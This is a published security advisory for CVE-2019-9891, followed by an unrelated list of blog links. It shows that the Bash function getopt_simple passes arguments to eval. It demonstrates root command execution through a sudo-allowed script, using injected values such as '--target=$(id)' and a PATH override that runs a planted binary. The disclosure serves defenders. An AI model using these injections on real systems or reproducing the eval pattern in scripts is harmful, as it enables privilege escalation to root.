RT-SA-2019-007 Code Execution via Insecure Shell Functiongetopt_simple
Advisory: Code Execution via Insecure Shell Function getopt_simple
RedTeam Pentesting discovered that the shell function "getopt_simple",
as presented in the "Advanced Bash-Scripting Guide", allows execution of
attacker-controlled commands.
Details
=======
Product: Advanced Bash-Scripting Guide
Affected Versions: all
Fixed Versions: -
Vulnerability Type: Code Execution
Security Risk: medium
Vendor URL: https://www.tldp.org/LDP/abs/html/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-007
Advisory Status: private
CVE: CVE-2019-9891
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9891
Introduction
============
The document "Advanced Bash-Scripting Guide" [1] is a tutorial for
writing shell scripts for Bash. It contains many example scripts
together with in-depth explanations about how shell scripting works.
More Details
============
During a penetration test, RedTeam Pentesting was able to execute
commands as an unprivileged user (www-data) on a server. Among others,
it was discovered that this user was permitted to run the shell script
"cleanup.sh" as root via "sudo":
------------------------------------------------------------------------
$ sudo -l
Matching Defaults entries for user on srv:
env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on srv:
(root) NOPASSWD: /usr/local/sbin/cleanup.sh
------------------------------------------------------------------------
The script "cleanup.sh" starts with the following code:
------------------------------------------------------------------------
#!/bin/bash
getopt_simple()
{
until [ -z "$1" ]
do
if [ ${1:0:2} = '--' ]
then
tmp=${1:2} # Strip off leading '--' . . .
parameter=${tmp%%=*} # Extract name.
value=${tmp##*=} # Extract value.
eval $parameter=$value
fi
shift
done
}
target=/tmp
# Pass all options to getopt_simple().
getopt_simple $*
# list files to clean
echo "listing files in $target"
find "$target" -mtime 1
------------------------------------------------------------------------
The function "getopt_simple" is used to set variables based on
command-line flags which are passed to the script. Calling the script
with the argument "--target=/tmp" sets the variable "$target" to the
value "/tmp". The variable's value is then used in a call to "find". The
source code of the "getopt_simple" function has been taken from the
"Advanced Bash-Scripting Guide" [2]. It was also published as a book.
RedTeam Pentesting identified two different ways to exploit this
function in order to run attacker-controlled commands as root.
First, a flag can be specified in which either the name or the value
contain a shell command. The call to "eval" will simply execute this
command.
------------------------------------------------------------------------
$ sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id'
uid=0(root) gid=0(root) groups=0(root)
listing files in /tmp
$ sudo /usr/local/sbin/cleanup.sh '--target=$(id)'
listing files in uid=0(root) gid=0(root) groups=0(root)
find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory
$ sudo /usr/local/sbin/cleanup.sh '--target=$(ls${IFS}/)'
listing files in bin
boot
dev
etc
[...]
------------------------------------------------------------------------
Instead of injecting shell commands, the script can also be exploited by
overwriting the "$PATH" variable:
------------------------------------------------------------------------
$ mkdir /tmp/redteam
$ cat <<EOF > /tmp/redteam/find
#!/bin/sh
echo "executed as root:"
/usr/bin/id
EOF
$ chmod +x /tmp/redteam/find
$ sudo /usr/local/sbin/cleanup.sh --PATH=/tmp/redteam
listing files in /tmp
executed as root:
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------
Workaround
==========
No workaround available.
Fix
===
Replace the function "getopt_simple" with the built-in function
"getopts" or the program "getopt" from the util-linux package.
Examples on how to do so are included in the same tutorial [3][4].
Security Risk
=============
If a script with attacker-controlled arguments uses the "getopt_simple"
function, arbitrary commands may be invoked by the attackers. This is
particularly interesting if a privilege boundary is crossed, for example
in the context of "sudo". Overall, this vulnerability is rated as a
medium risk.
Timeline
========
2019-02-18 Vulnerability identified
2019-03-20 Customer approved disclosure to vendor
2019-03-20 Author notified
2019-03-20 Author responded, document is not updated/maintained any more
2019-03-20 CVE ID requested
2019-03-21 CVE ID assigned
2019-03-26 Advisory released
References
==========
[1] https://www.tldp.org/LDP/abs/html/
[2] https://www.tldp.org/LDP/abs/html/string-manipulation.html#GETOPTSIMPLE
[3] https://www.tldp.org/LDP/abs/html/internal.html#EX33
[4] https://www.tldp.org/LDP/abs/html/extmisc.html#EX33A
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
RT-SA-2019-007 Code Execution via Insecure Shell Functiongetopt_simple的更多相关文章
- CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis
目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...
- Insecure default in Elasticsearch enables remote code execution
Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to exe ...
- [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution
# Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...
- MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability
catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...
- Apache / PHP 5.x Remote Code Execution Exploit
测试方法: 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! /* Apache Magica by Kingcope */ /* gcc apache-magika.c -o ...
- (4)事件处理——(3)代码执行的顺序(Timing of code execution)
In Chapter 1, Getting Started, we noted that $(document).ready()was jQuery's primary way to perform ...
- Roundcube 1.2.2 - Remote Code Execution
本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...
- [EXP]Apache Superset < 0.23 - Remote Code Execution
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...
- [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution
# Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...
随机推荐
- 错误ERROR datanode.DataNode (DataXceiver.java:run(278)) - hadoop07:50010DataXceiver error processing unknown operation src:127.0.0.136479 dst:127.0.0.150010
原因: Ambari 每分钟会向datanode发送"ping"连接一下去确保datanode是正常工作的.否则它会触发alert.但是datanode并没有处理空内容的逻辑,所以 ...
- nginx 499状态码
Web服务器在用着nginx,在日志中偶尔会看到有499这个错误. rfc2616中,400-500间的错误码仅定义到了417,所以499应该是nginx自己定义的.后来想到读读nginx代码,疑问立 ...
- OpenResty:通过 Lua 扩展 NGINX 实现的可伸缩的 Web 平台
关于 http://openresty.org/cn/about.html 这个开源 Web 平台主要由章亦春(agentzh)维护.在 2011 年之前曾由淘宝网赞助,在后来的 2012 ~ 201 ...
- 1.5 下载和安装VMWare
搭建虚拟环境一般都有两种方法,一种是系统自带的虚拟机,还有一种是下载VMware,Win8和Win10都自带有虚拟机,但是都不是自动开启的,所以我们必须手动开启. 一.Win10开启虚拟机 在命令行输 ...
- 性能测试中的最佳用户数、最大用户数、TPS、响应时间、吞吐量和吞吞吐率
一:最佳用户数.最大用户数 转:http://www.cnblogs.com/jackei/archive/2006/11/20/565527.html 二: 事务.TPS 1:事务:就是用户某一步 ...
- 初学Kafka工作原理流程介绍
Apache kafka 工作原理介绍 消息队列技术是分布式应用间交换信息的一种技术.消息队列可驻留在内存或磁盘上, 队列存储消息直到它们被应用程序读走.通过消息队列,应用程序可独立地执行--它们不需 ...
- C# 读写本地配置文件
1.在本地有一个如下配置文件 2.读写本地配置文件 3.对配置文件的内容进行操作
- iOS开发基础篇-transform属性
一. transform 属性 在OC中,通过 transform 属性可以修改对象的平移.缩放比例和旋转角度. 1)创建“基于控件初始位置”的形变 CGAffineTransformMakeRot ...
- Google第三方网站登录(JavaScript SDK)
官网:https://developers.google.com/identity/sign-in/web/ 一.创建应用 a.去谷歌控制台创建应用 网址:https://accounts.g ...
- Solving the Top ERP and CRM Metadata Challenges with erwin & Silwood
Registrationhttps://register.gotowebinar.com/register/3486582555108619010 Solving the Top ERP and CR ...